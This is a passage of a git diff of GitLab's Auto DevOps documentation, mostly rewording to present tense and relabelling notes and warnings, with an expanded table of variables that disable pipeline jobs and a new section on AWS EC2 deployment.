deploying](upgrading_auto_deploy_dependencies.md#ignore-warnings-and-continue-deploying). | | `AUTO_DEVOPS_MODSECURITY_SEC_RULE_ENGINE` | From GitLab 12.5, used in combination with [ModSecurity feature flag](../../user/clusters/applications.md#web-application-firewall-modsecurity) to toggle [ModSecurity's `SecRuleEngine`](https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual-(v2.x)#SecRuleEngine) behavior. Defaults to `DetectionOnly`. | | `BUILDPACK_URL` | Buildpack's full URL. Can point to either [a Git repository URL or a tarball URL](#custom-buildpacks). | @@ -345,9 +345,9 @@ applications. | `DOCKERFILE_PATH` | From GitLab 13.2, allows overriding the [default Dockerfile path for the build stage](#custom-dockerfile) | | `HELM_RELEASE_NAME` | From GitLab 12.1, allows the `helm` release name to be overridden. Can be used to assign unique release names when deploying multiple projects to a single namespace. | | `HELM_UPGRADE_VALUES_FILE` | From GitLab 12.6, allows the `helm upgrade` values file to be overridden. Defaults to `.gitlab/auto-deploy-values.yaml`. | -| `HELM_UPGRADE_EXTRA_ARGS` | From GitLab 11.11, allows extra options in `helm upgrade` commands when deploying the application. Note that using quotes won't prevent word splitting. | +| `HELM_UPGRADE_EXTRA_ARGS` | From GitLab 11.11, allows extra options in `helm upgrade` commands when deploying the application. Note that using quotes doesn't prevent word splitting. | | `INCREMENTAL_ROLLOUT_MODE` | From GitLab 11.4, if present, can be used to enable an [incremental rollout](#incremental-rollout-to-production) of your application for the production environment. Set to `manual` for manual deployment jobs or `timed` for automatic rollout deployments with a 5 minute delay each one. | -| `K8S_SECRET_*` | From GitLab 11.7, any variable prefixed with [`K8S_SECRET_`](#application-secret-variables) will be made available by Auto DevOps as environment variables to the deployed application. | +| `K8S_SECRET_*` | From GitLab 11.7, any variable prefixed with [`K8S_SECRET_`](#application-secret-variables) is made available by Auto DevOps as environment variables to the deployed application. | | `KUBE_INGRESS_BASE_DOMAIN` | From GitLab 11.8, can be used to set a domain per cluster. See [cluster domains](../../user/project/clusters/index.md#base-domain) for more information. | | `PRODUCTION_REPLICAS` | Number of replicas to deploy in the production environment. Takes precedence over `REPLICAS` and defaults to 1. For zero downtime upgrades, set to 2 or greater. | | `REPLICAS` | Number of replicas to deploy. Defaults to 1. | @@ -355,12 +355,12 @@ applications. | `ROLLOUT_STATUS_DISABLED` | From GitLab 12.0, used to disable rollout status check because it does not support all resource types, for example, `cronjob`. | | `STAGING_ENABLED` | From GitLab 10.8, used to define a [deploy policy for staging and production environments](#deploy-policy-for-staging-and-production-environments). | -TIP: **Tip:** +NOTE: After you set up your replica variables using a [project variable](../../ci/variables/README.md#gitlab-cicd-environment-variables), you can scale your application by redeploying it. -CAUTION: **Caution:** +WARNING: You should *not* scale your application using Kubernetes directly. This can cause confusion with Helm not detecting the change, and subsequent deploys with Auto DevOps can undo your changes. @@ -377,26 +377,56 @@ The following table lists variables related to the database. | `POSTGRES_USER` | The PostgreSQL user. Defaults to `user`. Set it to use a custom username. | | `POSTGRES_PASSWORD` | The PostgreSQL password. Defaults to `testing-password`. Set it to use a custom password. | | `POSTGRES_DB` | The PostgreSQL database name. Defaults to the value of [`$CI_ENVIRONMENT_SLUG`](../../ci/variables/README.md#predefined-environment-variables). Set it to use a custom database name. | -| `POSTGRES_VERSION` | Tag for the [`postgres` Docker image](https://hub.docker.com/_/postgres) to use. Defaults to `9.6.16` for tests and deployments as of GitLab 13.0 (previously `9.6.2`). If `AUTO_DEVOPS_POSTGRES_CHANNEL` is set to `1`, deployments will use the default version `9.6.2`. | +| `POSTGRES_VERSION` | Tag for the [`postgres` Docker image](https://hub.docker.com/_/postgres) to use. Defaults to `9.6.16` for tests and deployments as of GitLab 13.0 (previously `9.6.2`). If `AUTO_DEVOPS_POSTGRES_CHANNEL` is set to `1`, deployments uses the default version `9.6.2`. | ### Disable jobs The following table lists variables used to disable jobs. -| **Variable** | **Description** | -|-----------------------------------------|------------------------------------| -| `CODE_QUALITY_DISABLED` | From GitLab 11.0, used to disable the `codequality` job. If the variable is present, the job won't be created. | -| `CONTAINER_SCANNING_DISABLED` | From GitLab 11.0, used to disable the `sast:container` job. If the variable is present, the job won't be created. | -| `DAST_DISABLED` | From GitLab 11.0, used to disable the `dast` job. If the variable is present, the job won't be created. | -| `DEPENDENCY_SCANNING_DISABLED` | From GitLab 11.0, used to disable the `dependency_scanning` job. If the variable is present, the job won't be created. | -| `LICENSE_MANAGEMENT_DISABLED` | From GitLab 11.0, used to disable the `license_management` job. If the variable is present, the job won't be created. | -| `PERFORMANCE_DISABLED` | From GitLab 11.0, used to disable the browser `performance` job. If the variable is present, the job won't be created. | -| `LOAD_PERFORMANCE_DISABLED` | From GitLab 13.2, used to disable the `load_performance` job. If the variable is present, the job won't be created. | -| `REVIEW_DISABLED` | From GitLab 11.0, used to disable the `review` and the manual `review:stop` job. If the variable is present, these jobs won't be created. | -| `SAST_DISABLED` | From GitLab 11.0, used to disable the `sast` job. If the variable is present, the job won't be created. | -| `TEST_DISABLED` | From GitLab 11.0, used to disable the `test` job. If the variable is present, the job won't be created. | -| `SECRET_DETECTION_DISABLED` | From GitLab 13.1, used to disable the `secret_detection` job. If the variable is present, the job won't be created. | -| `CODE_INTELLIGENCE_DISABLED` | From GitLab 13.6, used to disable the `code_intelligence` job. If the variable is present, the job won't be created. | +| **Job Name** | **Variable** | **GitLab version** | **Description** | +|----------------------------------------|---------------------------------|-----------------------|-----------------| +| `.fuzz_base` | `COVFUZZ_DISABLED` | [From GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/34984) | [Read more](../../user/application_security/coverage_fuzzing/) about how `.fuzz_base` provide capability for your own jobs. If the variable is present, your jobs aren't created. | +| `apifuzzer_fuzz` | `API_FUZZING_DISABLED` | [From GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39135) | If the variable is present, the job isn't created. | +| `bandit-sast` | `SAST_DISABLED` | | If the variable is present, the job isn't created. | +| `brakeman-sast` | `SAST_DISABLED` | | If the variable is present, the job isn't created. | +| `bundler-audit-dependency_scanning` | `DEPENDENCY_SCANNING_DISABLED` | | If the variable is present, the job isn't created. | +| `canary` | `CANARY_ENABLED` | | This manual job is created if the variable is present. | +| `code_intelligence` | `CODE_INTELLIGENCE_DISABLED` | From GitLab 13.6 | If the variable is present, the job isn't created. | +| `codequality` | `CODE_QUALITY_DISABLED` | Until GitLab 11.0 | If the variable is present, the job isn't created. | +| `code_quality` | `CODE_QUALITY_DISABLED` | [From GitLab 11.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/5773) | If the variable is present, the job isn't created. | +| `container_scanning` | `CONTAINER_SCANNING_DISABLED` | From GitLab 11.0 | If the variable is present, the job isn't created. | +| `dast` | `DAST_DISABLED` | From GitLab 11.0 | If the variable is present, the job isn't created. | +| `dast_environment_deploy` | `DAST_DISABLED_FOR_DEFAULT_BRANCH` or `DAST_DISABLED` | [From GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/17789) | If either variable is present, the job isn't created. | +| `dependency_scanning` | `DEPENDENCY_SCANNING_DISABLED` | From GitLab 11.0 | If the variable is present, the job isn't created. | +| `eslint-sast` | `SAST_DISABLED` | | If the variable is present, the job isn't created. | +| `flawfinder-sast` | `SAST_DISABLED` | | If the variable is present, the job isn't created. | +| `gemnasium-dependency_scanning` | `DEPENDENCY_SCANNING_DISABLED` | | If the variable is present, the job isn't created. | +| `gemnasium-maven-dependency_scanning` | `DEPENDENCY_SCANNING_DISABLED` | | If the variable is present, the job isn't created. | +| `gemnasium-python-dependency_scanning` | `DEPENDENCY_SCANNING_DISABLED` | | If the variable is present, the job isn't created. | +| `gosec-sast` | `SAST_DISABLED` | | If the variable is present, the job isn't created. | +| `kubesec-sast` | `SAST_DISABLED` | | If the variable is present, the job isn't created. | +| `license_management` | `LICENSE_MANAGEMENT_DISABLED` | GitLab 11.0 to 12.7 | If the variable is present, the job isn't created. Job deprecated [from GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/22773) | +| `license_scanning` | `LICENSE_MANAGEMENT_DISABLED` | [From GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/22773) | If the variable is present, the job isn't created. | +| `load_performance` | `LOAD_PERFORMANCE_DISABLED` | From GitLab 13.2 | If the variable is present, the job isn't created. | +| `nodejs-scan-sast` | `SAST_DISABLED` | | If the variable is present, the job isn't created. | +| `performance` | `PERFORMANCE_DISABLED` | From GitLab 11.0 | Browser performance. If the variable is present, the job isn't created. | +| `phpcs-security-audit-sast` | `SAST_DISABLED` | | If the variable is present, the job isn't created. | +| `pmd-apex-sast` | `SAST_DISABLED` | | If the variable is present, the job isn't created. | +| `retire-js-dependency_scanning` | `DEPENDENCY_SCANNING_DISABLED` | | If the variable is present, the job isn't created. | +| `review` | `REVIEW_DISABLED` | From GitLab 11.0 | If the variable is present, the job isn't created. | +| `review:stop` | `REVIEW_DISABLED` | From GitLab 11.0 | Manual job. If the variable is present, the job isn't created. | +| `sast` | `SAST_DISABLED` | From GitLab 11.0 | If the variable is present, the job isn't created. | +| `sast:container` | `CONTAINER_SCANNING_DISABLED` | From GitLab 11.0 | If the variable is present, the job isn't created. | +| `secret_detection` | `SECRET_DETECTION_DISABLED` | From GitLab 13.1 | If the variable is present, the job isn't created. | +| `secret_detection_default_branch` | `SECRET_DETECTION_DISABLED` | [From GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/22773) | If the variable is present, the job isn't created. | +| `security-code-scan-sast` | `SAST_DISABLED` | | If the variable is present, the job isn't created. | +| `secrets-sast` | `SAST_DISABLED` | From GitLab 11.0 | If the variable is present, the job isn't created. | +| `sobelaw-sast` | `SAST_DISABLED` | | If the variable is present, the job isn't created. | +| `stop_dast_environment` | `DAST_DISABLED_FOR_DEFAULT_BRANCH` or `DAST_DISABLED` | [From GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/17789) | If either variable is present, the job isn't created. | +| `spotbugs-sast` | `SAST_DISABLED` | | If the variable is present, the job isn't created. | +| `test` | `TEST_DISABLED` | From GitLab 11.0 | If the variable is present, the job isn't created. | +| `staging` | `STAGING_ENABLED` | | The job is created if the variable is present. | +| `stop_review` | `REVIEW_DISABLED` | | If the variable is present, the job isn't created. | ### Application secret variables @@ -418,7 +448,7 @@ To configure your application variables: 1. Run an Auto DevOps pipeline, either by manually creating a new pipeline or by pushing a code change to GitLab. -Auto DevOps pipelines will take your application secret variables to +Auto DevOps pipelines take your application secret variables to populate a Kubernetes secret. This secret is unique per environment. When deploying your application, the secret is loaded as environment variables in the container running the application. Following the @@ -444,7 +474,7 @@ type: Opaque Environment variables are generally considered immutable in a Kubernetes pod. If you update an application secret without changing any code, then manually -create a new pipeline, you will find any running application pods won't have +create a new pipeline, any running application pods don't receive the updated secrets. To update the secrets, either: - Push a code update to GitLab to force the Kubernetes deployment to recreate pods. @@ -465,7 +495,7 @@ enabling you to define your own variables for scaling the pod's replicas: - `TRACK`: The capitalized value of the `track` [Kubernetes label](https://kubernetes.io/docs/concepts/overview/working-with-objects/labels/) - in the Helm Chart app definition. If not set, it won't be taken into account + in the Helm Chart app definition. If not set, it isn't taken into account to the variable name. - `ENV`: The capitalized environment name of the deploy job, set in `.gitlab-ci.yml`. @@ -508,7 +538,7 @@ service: > [Introduced](https://gitlab.com/gitlab-org/gitlab-ci-yml/-/merge_requests/160) in GitLab 10.8. -TIP: **Tip:** +NOTE: You can also set this inside your [project's settings](index.md#deployment-strategy). The normal behavior of Auto DevOps is to use continuous deployment, pushing @@ -537,7 +567,7 @@ If you define `CANARY_ENABLED` with a non-empty value, then two manual jobs are > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/5415) in GitLab 10.8. -TIP: **Tip:** +NOTE: You can also set this inside your [project's settings](index.md#deployment-strategy). When you're ready to deploy a new version of your app to production, you may want @@ -547,7 +577,7 @@ check how the application is behaving before manually increasing the rollout up If `INCREMENTAL_ROLLOUT_MODE` is set to `manual` in your project, then instead of the standard `production` job, 4 different [manual jobs](../../ci/pipelines/index.md#add-manual-interaction-to-your-pipeline) -will be created: +are created: 1. `rollout 10%` 1. `rollout 25%` @@ -556,7 +586,7 @@ will be created: The percentage is based on the `REPLICAS` variable, and defines the number of pods you want to have for your deployment. If the value is `10`, and you run the -`10%` rollout job, there will be `1` new pod + `9` old ones. +`10%` rollout job, there is `1` new pod and `9` old ones. To start a job, click the play icon (**{play}**) next to the job's name. You're not required to go from `10%` to `100%`, you can jump to whatever job you want. @@ -566,7 +596,7 @@ back by redeploying the old version using the [rollback button](../../ci/environments/index.md#retrying-and-rolling-back) in the environment page. -Below, you can see how the pipeline will look if the rollout or staging +Below, you can see how the pipeline appears if the rollout or staging variables are defined. Without `INCREMENTAL_ROLLOUT_MODE` and without `STAGING_ENABLED`: @@ -585,16 +615,16 @@ With `INCREMENTAL_ROLLOUT_MODE` set to `manual` and with `STAGING_ENABLED`  -CAUTION: **Caution:** +WARNING: Before GitLab 11.4, the presence of the `INCREMENTAL_ROLLOUT_ENABLED` environment -variable enabled this feature. This configuration is deprecated, and will be +variable enabled this feature. This configuration is deprecated, and is scheduled to be removed in the future. ### Timed incremental rollout to production **(PREMIUM)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7545) in GitLab 11.4. -TIP: **Tip:** +NOTE: You can also set this inside your [project's settings](index.md#deployment-strategy). This configuration is based on @@ -632,5 +662,5 @@ The banner can be disabled for: - Through the REST API with an admin access token: ```shell - curl --data "value=true" --header "PRIVATE-TOKEN: <personal_access_token>" https://gitlab.example.com/api/v4/features/auto_devops_banner_disabled + curl --data "value=true" --header "PRIVATE-TOKEN: <personal_access_token>" "https://gitlab.example.com/api/v4/features/auto_devops_banner_disabled" ``` diff --git a/doc/topics/autodevops/index.md b/doc/topics/autodevops/index.md index 014690c4cdf..7234bca8e12 100644 --- a/doc/topics/autodevops/index.md +++ b/doc/topics/autodevops/index.md @@ -1,7 +1,7 @@ --- stage: Configure group: Configure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Auto DevOps @@ -38,18 +38,21 @@ For requirements, see [Requirements for Auto DevOps](requirements.md) for more i > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41729) in GitLab 11.3. -Auto DevOps is enabled by default for all projects and attempts to run on all pipelines -in each project. An instance administrator can enable or disable this default in the +On self-managed instances, Auto DevOps is enabled by default for all projects. +It attempts to run on all pipelines in each project. An instance administrator can +enable or disable this default in the [Auto DevOps settings](../../user/admin_area/settings/continuous_integration.md#auto-devops). Auto DevOps automatically disables in individual projects on their first pipeline failure, -if it has not been explicitly enabled for the project. + +NOTE: +Auto DevOps is not enabled by default on GitLab.com. Since [GitLab 12.7](https://gitlab.com/gitlab-org/gitlab/-/issues/26655), Auto DevOps runs on pipelines automatically only if a [`Dockerfile` or matching buildpack](stages.md#auto-build) exists. If a [CI/CD configuration file](../../ci/yaml/README.md) is present in the project, -it will continue to be used, whether or not Auto DevOps is enabled. +it continues to be used, whether or not Auto DevOps is enabled. ## Quick start @@ -73,7 +76,7 @@ innovative work done by [Heroku](https://www.heroku.com/) and goes beyond it in multiple ways: - Auto DevOps works with any Kubernetes cluster; you're not limited to running - on GitLab's infrastructure. (Note that many features also work without Kubernetes). + on infrastructure managed by GitLab. (Note that many features also work without Kubernetes). - There is no additional cost (no markup on the infrastructure costs), and you can use a Kubernetes cluster you host or Containers as a Service on any public cloud (for example, [Google Kubernetes Engine](https://cloud.google.com/kubernetes-engine/)). @@ -85,6 +88,9 @@ in multiple ways: ## Features +NOTE: +Depending on your target platform, some features might not be available to you. + Comprised of a set of [stages](stages.md), Auto DevOps brings these best practices to your project in a simple and automatic way: @@ -120,7 +126,7 @@ Auto DevOps provides great defaults for all the stages and makes use of For an overview on the creation of Auto DevOps, read more [in this blog post](https://about.gitlab.com/blog/2017/06/29/whats-next-for-gitlab-ci/). -NOTE: **Note:** +NOTE: Kubernetes clusters can [be used without](../../user/project/clusters/index.md) Auto DevOps. @@ -146,14 +152,14 @@ any of the following places: The base domain variable `KUBE_INGRESS_BASE_DOMAIN` follows the same order of precedence as other environment [variables](../../ci/variables/README.md#priority-of-environment-variables). If the CI/CD variable is not set and the cluster setting is left blank, the instance-wide **Auto DevOps domain** -setting will be used if set. +setting is used if set. -TIP: **Tip:** +NOTE: If you use the [GitLab managed app for Ingress](../../user/clusters/applications.md#ingress), the URL endpoint should be automatically configured for you. All you must do is use its value for the `KUBE_INGRESS_BASE_DOMAIN` variable. -NOTE: **Note:** +NOTE: `AUTO_DEVOPS_DOMAIN` was [deprecated in GitLab 11.8](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/52363) and replaced with `KUBE_INGRESS_BASE_DOMAIN`, and removed in [GitLab 12.0](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/56959). @@ -236,7 +242,7 @@ Auto DevOps at the group and project level, respectively. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/38542) in GitLab 11.0. -You can change the deployment strategy used by Auto DevOps by going to your +You can change the deployment strategy used by Auto DevOps by visiting your project's **Settings > CI/CD > Auto DevOps**. The following options are available: @@ -254,7 +260,7 @@ are available: - `master` branch is directly deployed to staging. - Manual actions are provided for incremental rollout to production. -TIP: **Tip:** +NOTE: Use the [blue-green deployment](../../ci/environments/incremental_rollouts.md#blue-green-deployment) technique to minimize downtime and risk. @@ -313,7 +319,7 @@ simplify configuration and prevent any unforeseen issues. ### Install applications behind a proxy -GitLab's Helm integration does not support installing applications when +The GitLab integration with Helm does not support installing applications when behind a proxy. Users who want to do so must inject their proxy settings into the installation pods at runtime, such as by using a [`PodPreset`](https://kubernetes.io/docs/concepts/workloads/pods/podpreset/): @@ -372,7 +378,7 @@ To fix this issue, you must either: ### Failure to create a Kubernetes namespace -Auto Deploy will fail if GitLab can't create a Kubernetes namespace and +Auto Deploy fails if GitLab can't create a Kubernetes namespace and service account for your project. For help debugging this issue, see [Troubleshooting failed deployment jobs](../../user/project/clusters/index.md#troubleshooting). @@ -407,7 +413,7 @@ If you receive this error, you can do one of the following actions: database by setting `AUTO_DEVOPS_POSTGRES_DELETE_V1` to a non-empty value and redeploying. - DANGER: **Warning:** + WARNING: Deleting the channel 1 PostgreSQL database permanently deletes the existing channel 1 database and all its data. See [Upgrading PostgreSQL](upgrading_postgresql.md) @@ -421,7 +427,7 @@ If you receive this error, you can do one of the following actions: and persisted by Helm, regardless of whether or not your chart uses the variable. -DANGER: **Warning:** +WARNING: Setting `POSTGRES_ENABLED` to `false` permanently deletes any existing channel 1 database for your environment. @@ -476,7 +482,7 @@ that works for this problem. Follow these steps to use the tool in Auto DevOps: ### Error: error initializing: Looks like "https://kubernetes-charts.storage.googleapis.com" is not a valid chart repository or cannot be reached As [announced in the official CNCF blogpost](https://www.cncf.io/blog/2020/10/07/important-reminder-for-all-helm-users-stable-incubator-repos-are-deprecated-and-all-images-are-changing-location/), -the stable Helm chart repository will be deprecated and removed on November 13th, 2020. +the stable Helm chart repository was deprecated and removed on November 13th, 2020. You may encounter this error after that date. Some GitLab features had dependencies on the stable chart. To mitigate the impact, we changed them @@ -495,7 +501,7 @@ include: image: "registry.gitlab.com/gitlab-org/cluster-integration/auto-deploy-image:v1.0.5" ``` -Keep in mind that this approach will eventually stop working when the stable repository is removed, +Keep in mind that this approach stops working when the stable repository is removed, so you must eventually fix your custom chart. To fix your custom chart: diff --git a/doc/topics/autodevops/quick_start_guide.md b/doc/topics/autodevops/quick_start_guide.md index 3531035eb67..5c3b296fdea 100644 --- a/doc/topics/autodevops/quick_start_guide.md +++ b/doc/topics/autodevops/quick_start_guide.md @@ -1,20 +1,20 @@ --- stage: Configure group: Configure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Getting started with Auto DevOps -This step-by-step guide will help you use [Auto DevOps](index.md) to +This step-by-step guide helps you use [Auto DevOps](index.md) to deploy a project hosted on GitLab.com to Google Kubernetes Engine. -You will use GitLab's native Kubernetes integration, so you won't need +You are using the GitLab native Kubernetes integration, so you don't need to create a Kubernetes cluster manually using the Google Cloud Platform console. -You will create and deploy a simple application that you create from a GitLab template. +You are creating and deploying a simple application that you create from a GitLab template. -These instructions will also work for a self-managed GitLab instance; you'll just -need to ensure your own [runners are configured](../../ci/runners/README.md) and +These instructions also work for a self-managed GitLab instance; +ensure your own [runners are configured](../../ci/runners/README.md) and [Google OAuth is enabled](../../integration/google.md). ## Configure your Google account @@ -29,16 +29,16 @@ or Google Drive, or create a new one. 1. Ensure you've created a [billing account](https://cloud.google.com/billing/docs/how-to/manage-billing-account) with Google Cloud Platform. -TIP: **Tip:** +NOTE: Every new Google Cloud Platform (GCP) account receives [$300 in credit](https://console.cloud.google.com/freetrial), and in partnership with Google, GitLab is able to offer an additional $200 for new -GCP accounts to get started with GitLab's Google Kubernetes Engine Integration. +GCP accounts to get started with the GitLab integration with Google Kubernetes Engine. [Follow this link](https://cloud.google.com/partners/partnercredit/?pcn_code=0014M00001h35gDQAQ#contact-form) and apply for credit. ## Create a new project from a template -We will use one of GitLab's project templates to get started. As the name suggests, +We are using a GitLab project template to get started. As the name suggests, those projects provide a bare-bones application built on some well-known frameworks. 1. In GitLab, click the plus icon (**{plus-square}**) at the top of the navigation bar, and select @@ -57,7 +57,7 @@ those projects provide a bare-bones application built on some well-known framewo 1. Click **Create project**. -Now that you've created a project, you'll next create the Kubernetes cluster +Now that you've created a project, create the Kubernetes cluster to deploy this project to. ## Create a Kubernetes cluster from within GitLab @@ -98,30 +98,30 @@ to deploy this project to. 1. Click **Create Kubernetes cluster**. -After a couple of minutes, the cluster will be created. You can also see its +After a couple of minutes, the cluster is created. You can also see its status on your [GCP dashboard](https://console.cloud.google.com/kubernetes). -Next, you will install some applications on your cluster that are needed +Next, install some applications on your cluster that are needed to take full advantage of Auto DevOps. ## Install Ingress and Prometheus -After your cluster is running, you can install your first applications. -In this guide, we will install Ingress and Prometheus: +After your cluster is running, you can install your first applications, +Ingress and Prometheus: - Ingress - Provides load balancing, SSL termination, and name-based virtual hosting, using NGINX behind the scenes. - Prometheus - An open-source monitoring and alerting system used to supervise the deployed application. -We won't install GitLab Runner in this quick start guide, as this guide uses the +We aren't installing GitLab Runner in this quick start guide, as this guide uses the shared runners provided by GitLab.com. To install the applications: - Click the **Install** button for **Ingress**. - When the **Ingress Endpoint** is displayed, copy the IP address. -- Add your **Base domain**. For this guide, we will use the domain suggested by GitLab. +- Add your **Base domain**. For this guide, use the domain suggested by GitLab. - Click **Save changes**.  @@ -221,7 +221,7 @@ Kubernetes cluster, color-coded to show their status. Hovering over a square on the deploy board displays the state of the deployment, and clicking the square takes you to the pod's logs page. -TIP: **Tip:** +NOTE: The example shows only one pod hosting the application at the moment, but you can add more pods by defining the [`REPLICAS` variable](customize.md#environment-variables) in **Settings > CI/CD > Environment variables**. @@ -251,7 +251,7 @@ a few more that run only on branches other than `master`.  -After a few minutes you'll notice a test failed, which means a test was +After a few minutes a test fails, which means a test was 'broken' by your change. Click on the failed `test` job to see more information about it: diff --git a/doc/topics/autodevops/requirements.md b/doc/topics/autodevops/requirements.md index acec7b79d6b..824874ed4d4 100644 --- a/doc/topics/autodevops/requirements.md +++ b/doc/topics/autodevops/requirements.md @@ -1,13 +1,14 @@ --- stage: Configure group: Configure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Requirements for Auto DevOps -You can set up Auto DevOps for [Kubernetes](#auto-devops-requirements-for-kubernetes) -or [Amazon Elastic Container Service (ECS)](#auto-devops-requirements-for-amazon-ecs). +You can set up Auto DevOps for [Kubernetes](#auto-devops-requirements-for-kubernetes), +[Amazon Elastic Container Service (ECS)](#auto-devops-requirements-for-amazon-ecs), +or [Amazon Cloud Compute](#auto-devops-requirements-for-amazon-ecs). For more information about Auto DevOps, see [the main Auto DevOps page](index.md) or the [quick start guide](quick_start_guide.md). @@ -27,15 +28,15 @@ To make full use of Auto DevOps with Kubernetes, you need: [Auto Deploy for Kubernetes 1.16+](stages.md#kubernetes-116). 1. NGINX Ingress. You can deploy it to your Kubernetes cluster by installing the [GitLab-managed app for Ingress](../../user/clusters/applications.md#ingress), - after configuring GitLab's Kubernetes integration in the previous step. + after configuring the GitLab integration with Kubernetes in the previous step. Alternatively, you can use the [`nginx-ingress`](https://github.com/helm/charts/tree/master/stable/nginx-ingress) Helm chart to install Ingress manually. - NOTE: **Note:** - If you use your own Ingress instead of the one provided by GitLab's managed - apps, ensure you're running at least version 0.9.0 of NGINX Ingress and + NOTE: + If you use your own Ingress instead of the one provided by GitLab Managed + Apps, ensure you're running at least version 0.9.0 of NGINX Ingress and [enable Prometheus metrics](https://github.com/helm/charts/tree/master/stable/nginx-ingress#prometheus-metrics) for the response metrics to appear. You must also [annotate](https://kubernetes.io/docs/concepts/overview/working-with-objects/annotations/) @@ -46,7 +47,7 @@ To make full use of Auto DevOps with Kubernetes, you need: [Auto Deploy](stages.md#auto-deploy), and [Auto Monitoring](stages.md#auto-monitoring)) You need a domain configured with wildcard DNS, which all of your Auto DevOps - applications will use. If you're using the + applications use. If you're using the [GitLab-managed app for Ingress](../../user/clusters/applications.md#ingress), the URL endpoint is automatically configured for you. @@ -63,7 +64,7 @@ To make full use of Auto DevOps with Kubernetes, you need: You can configure Docker-based runners to autoscale as well, using [Docker Machine](https://docs.gitlab.com/runner/install/autoscaling.html). - If you've configured GitLab's Kubernetes integration in the first step, you + If you've configured the GitLab integration with Kubernetes in the first step, you can deploy it to your cluster by installing the [GitLab-managed app for GitLab Runner](../../user/clusters/applications.md#gitlab-runner). @@ -76,7 +77,7 @@ To make full use of Auto DevOps with Kubernetes, you need: To enable Auto Monitoring, you need Prometheus installed either inside or outside your cluster, and configured to scrape your Kubernetes cluster. - If you've configured GitLab's Kubernetes integration, you can deploy it to + If you've configured the GitLab integration with Kubernetes, you can deploy it to your cluster by installing the [GitLab-managed app for Prometheus](../../user/clusters/applications.md#prometheus). @@ -94,8 +95,8 @@ To make full use of Auto DevOps with Kubernetes, you need: a native Kubernetes certificate management controller that helps with issuing certificates. Installing cert-manager on your cluster issues a [Let’s Encrypt](https://letsencrypt.org/) certificate and ensures the - certificates are valid and up-to-date. If you've configured GitLab's Kubernetes - integration, you can deploy it to your cluster by installing the + certificates are valid and up-to-date. If you've configured the GitLab integration + with Kubernetes, you can deploy it to your cluster by installing the [GitLab-managed app for cert-manager](../../user/clusters/applications.md#cert-manager). If you don't have Kubernetes or Prometheus installed, then @@ -111,7 +112,7 @@ After all requirements are met, you can [enable Auto DevOps](index.md#enablingdi You can choose to target [AWS ECS](../../ci/cloud_deployment/index.md) as a deployment platform instead of using Kubernetes. -To get started on Auto DevOps to AWS ECS, you'll have to add a specific Environment +To get started on Auto DevOps to AWS ECS, you must add a specific Environment Variable. To do so, follow these steps: 1. In your project, go to **Settings > CI / CD** and expand the **Variables** @@ -124,19 +125,30 @@ Variable. To do so, follow these steps: When you trigger a pipeline, if you have Auto DevOps enabled and if you have correctly [entered AWS credentials as environment variables](../../ci/cloud_deployment/index.md#deploy-your-application-to-the-aws-elastic-container-service-ecs), -your application will be deployed to AWS ECS. +your application is deployed to AWS ECS. [GitLab Managed Apps](../../user/clusters/applications.md) are not available when deploying to AWS ECS. You must manually configure your application (such as Ingress or Help) on AWS ECS. If you have both a valid `AUTO_DEVOPS_PLATFORM_TARGET` variable and a Kubernetes cluster tied to your project, -only the deployment to Kubernetes will run. +only the deployment to Kubernetes runs. -CAUTION: **Warning:** -Setting the `AUTO_DEVOPS_PLATFORM_TARGET` variable to `ECS` will trigger jobs +WARNING: +Setting the `AUTO_DEVOPS_PLATFORM_TARGET` variable to `ECS` triggers jobs defined in the [`Jobs/Deploy/ECS.gitlab-ci.yml` template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Jobs/Deploy/ECS.gitlab-ci.yml). However, it's not recommended to [include](../../ci/yaml/README.md#includetemplate) it on its own. This template is designed to be used with Auto DevOps only. It may change unexpectedly causing your pipeline to fail if included on its own. Also, the job names within this template may also change. Do not override these jobs' names in your -own pipeline, as the override will stop working when the name changes. +own pipeline, as the override stops working when the name changes. + +## Auto DevOps requirements for Amazon EC2 + +[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/216008) in GitLab 13.6. + +You can target [AWS EC2](../../ci/cloud_deployment/index.md) +as a deployment platform instead of Kubernetes. To use Auto DevOps with AWS EC2, you must add a +specific environment variable. + +For more details, see [Custom build job for Auto DevOps](../../ci/cloud_deployment/index.md#custom-build-job-for-auto-devops) +for deployments to AWS EC2. diff --git a/doc/topics/autodevops/stages.md b/doc/topics/autodevops/stages.md index f2d3b78e2b0..23ba6ad3356 100644 --- a/doc/topics/autodevops/stages.md +++ b/doc/topics/autodevops/stages.md @@ -1,7 +1,7 @@ --- stage: Configure group: Configure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Stages of Auto 